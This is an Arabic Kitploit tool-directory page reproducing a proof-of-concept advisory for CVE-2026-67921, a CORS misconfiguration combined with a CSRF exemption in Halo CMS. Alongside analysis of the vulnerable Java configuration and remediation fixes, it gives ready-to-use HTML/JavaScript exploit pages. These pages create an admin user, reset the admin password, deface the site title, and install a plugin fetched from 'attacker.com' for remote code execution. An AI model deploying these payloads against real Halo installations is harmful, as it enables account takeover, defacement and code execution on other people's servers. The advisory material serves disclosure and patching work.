Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
halo-cors-csrf-CVE-2026-67921 — إثبات مفهوم يوضح ثغرة مشتركة بين سوء تكوين CORS وتجاوز حماية CSRF في نظام Halo CMS، مما يتيح تنفيذ هجمات تزوير الطلبات عبر المواقع (CSRF) لإنشاء مستخدمين بصلاحيات إدارية، وتغيير كلمات المرور، وتثبيت الإضافات، وتعديل المحتوى. | Kitploit
أدوات/GitHubGitHub/unpredictable21/halo-cors-csrf-cve-2026-67921
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويب
GitHubunpredictable21/halo-cors-csrf-cve-2026-67921

halo-cors-csrf-CVE-2026-67921

إثبات مفهوم يوضح ثغرة مشتركة بين سوء تكوين CORS وتجاوز حماية CSRF في نظام Halo CMS، مما يتيح تنفيذ هجمات تزوير الطلبات عبر المواقع (CSRF) لإنشاء مستخدمين بصلاحيات إدارية، وتغيير كلمات المرور، وتثبيت الإضافات، وتعديل المحتوى.

عرض المستودع
منذ 16 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-67921: سوء تكوين CORS في Halo CMS مع تجاوز حماية CSRF - هجوم مشترك

الملخص

توجد ثغرة هجوم مشترك حرجة في إصدارات Halo CMS حتى 2.25.4 بسبب سوء تكوينين أمنيين:

  1. سوء تكوين CORS: تسمح سياسة CORS بـ * (أي أصل) مع credentials: true
  2. تجاوز حماية CSRF: جميع نقاط نهاية API (/api/**, /apis/**) مستثناة من حماية CSRF

عند دمجهما، تسمح هذه الثغرات للمهاجم بتنفيذ هجمات تزوير الطلبات عبر المواقع (CSRF) من أي أصل، متجاوزًا حماية سياسة نفس الأصل (Same-Origin Policy) التي صُمم CORS لفرضها.

درجة CVSS v3.1: 9.3 (حرجة)
متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE: CWE-352 (تزوير الطلبات عبر المواقع) + CWE-942 (سياسة عبر النطاقات متساهلة) معرف CVE: CVE-2026-67921


الإصدارات المتأثرة

  • Halo CMS ≤ 2.25.4
  • جميع الإصدارات التي لديها CORS مفعّل وCSRF معطّل لمسارات API

تفاصيل الثغرة

الثغرة 1: سوء تكوين CORS

الملف: application/src/main/java/run/halo/app/security/CorsConfigurer.java

root@kitploit:~
CorsConfigurationSource apiCorsConfigSource() {
    var configuration = new CorsConfiguration();
    configuration.setAllowedOriginPatterns(List.of("*"));   // ← أي أصل
    configuration.setAllowCredentials(true);                // ← السماح بملفات تعريف الارتباط
    configuration.setAllowedHeaders(List.of(
        HttpHeaders.AUTHORIZATION,
        HttpHeaders.CONTENT_TYPE,
        HttpHeaders.ACCEPT,
        "X-XSRF-TOKEN",
        HttpHeaders.COOKIE));
    configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
    source.registerCorsConfiguration("/api/**", configuration);
    source.registerCorsConfiguration("/apis/**", configuration);
    return source;
}

التأثير: يمكن لأي موقع ويب إرسال طلبات مصادقة إلى واجهة برمجة تطبيقات Halo باستخدام ملفات تعريف الارتباط الخاصة بالمستخدم.

الثغرة 2: تجاوز حماية CSRF

الملف: application/src/main/java/run/halo/app/security/CsrfConfigurer.java

root@kitploit:~
@Override
public void configure(ServerHttpSecurity http) {
    var csrfMatcher = new AndServerWebExchangeMatcher(
        CsrfWebFilter.DEFAULT_CSRF_MATCHER,
        new NegatedServerWebExchangeMatcher(
            pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
        // ← مسارات API مستثناة من CSRF!
        new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
    http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
        .requireCsrfProtectionMatcher(csrfMatcher));
}

التأثير: لا تتطلب طلبات API رموز CSRF، حتى عند المصادقة عبر ملفات تعريف ارتباط الجلسة.


آلية الهجوم

لماذا هذا الدمج خطير

الحمايةبمفردهاعند الدمج
CORS *تمنع بيانات الاعتماد (يفرضها المتصفح)بيانات الاعتماد مسموحة!
لا CSRFمحمية بسياسة نفس الأصليتم تجاوزها بواسطة CORS!
النتيجةآمنةCSRF كامل

تدفق الهجوم

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  المهاجم يستضيف صفحة خبيثة على evil.com                  │
│  <form action="http://halo:8090/apis/..." method="POST">   │
│    <input name="..." value="...">                          │
│  </form>                                                    │
│  <script>document.forms[0].submit()</script>               │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│  متصفح الضحية يزور evil.com                           │
│  → يتم إرسال النموذج تلقائيًا إلى واجهة Halo API                            │
│  → المتصفح يضمّن ملف تعريف ارتباط الجلسة تلقائيًا            │
│  → CORS: الأصل * + credentials: true → الطلب مسموح!    │
│  → CSRF: /apis/** مستثنى → لا حاجة لرمز!             │
│  → ينجح الطلب بصلاحيات الضحية                │
└─────────────────────────────────────────────────────────────┘

سيناريوهات الاستغلال

السيناريو 1: إنشاء مستخدم مسؤول

root@kitploit:~
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
  <input type="hidden" name="apiVersion" value="v1alpha1"/>
  <input type="hidden" name="kind" value="User"/>
  <input type="hidden" name="metadata.name" value="hacker"/>
  <input type="hidden" name="spec.password" value="hacker123"/>
  <input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

السيناريو 2: تغيير كلمة مرور المسؤول

root@kitploit:~
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
  <input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>

السيناريو 3: تثبيت إضافة خبيثة (RCE)

root@kitploit:~
<html>
<body>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>

السيناريو 4: تعديل محتوى الموقع

root@kitploit:~
<html>
<body>
<script>
  // تغيير عنوان الموقع
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>

إثبات المفهوم

اختبار CSRF الأساسي

أنشئ csrf-test.html:

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>This page will attempt to modify Halo settings when loaded.</p>

<script>
// Test CSRF by modifying site title
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;

xhr.onload = function() {
    if (xhr.status === 200 || xhr.status === 204) {
        document.body.innerHTML += '<p style="color:green">SUCCESS! CSRF attack worked.</p>';
    } else {
        document.body.innerHTML += '<p style="color:red">Failed: ' + xhr.status + '</p>';
    }
};

xhr.send(JSON.stringify({
    "site": {
        "title": "CSRF Attack Success - " + new Date().toISOString()
    }
}));
</script>
</body>
</html>

خطوات التحقق

  1. افتح csrf-test.html في متصفح أثناء تسجيل الدخول إلى Halo
  2. تحقق مما إذا تغير عنوان الموقع
  3. تحقق من وحدة تحكم المتصفح بحثًا عن ترويسات CORS:
root@kitploit:~
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

تحليل التأثير

الهجومالتأثيرالخطورة
إنشاء مستخدم مسؤولاختراق كامل للنظامحرجة
تغيير كلمة مرور المسؤولالاستيلاء على الحسابحرجة
تثبيت إضافة خبيثةتنفيذ التعليمات البرمجية عن بُعدحرجة
تعديل المحتوىتشويهعالية
حذف البياناتفقدان البياناتعالية
سرقة البياناتكشف المعلوماتعالية

المعالجة

الإصلاح 1: تقييد أصول CORS

root@kitploit:~
// استبدال حرف البدل بأصول محددة
configuration.setAllowedOriginPatterns(List.of(
    "https://yourdomain.com",
    "https://admin.yourdomain.com"
));

الإصلاح 2: تفعيل CSRF لمسارات API

root@kitploit:~
// إزالة استثناءات API من مطابق CSRF
var csrfMatcher = new AndServerWebExchangeMatcher(
    CsrfWebFilter.DEFAULT_CSRF_MATCHER,
    new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));

الإصلاح 3: استخدام مصادقة رمز الحامل (Bearer Token)

بالنسبة لنقاط نهاية API، يُفضَّل استخدام مصادقة رمز الحامل بدلاً من ملفات تعريف ارتباط الجلسة، لأنها غير معرضة لهجمات CSRF.


المراجع

  • المورد: https://github.com/halo-dev/halo
  • CWE-352: https://cwe.mitre.org/data/definitions/352.html
  • CWE-942: https://cwe.mitre.org/data/definitions/942.html

الجدول الزمني

  • تاريخ الاكتشاف: 2026-07-10
تنزيل الأداة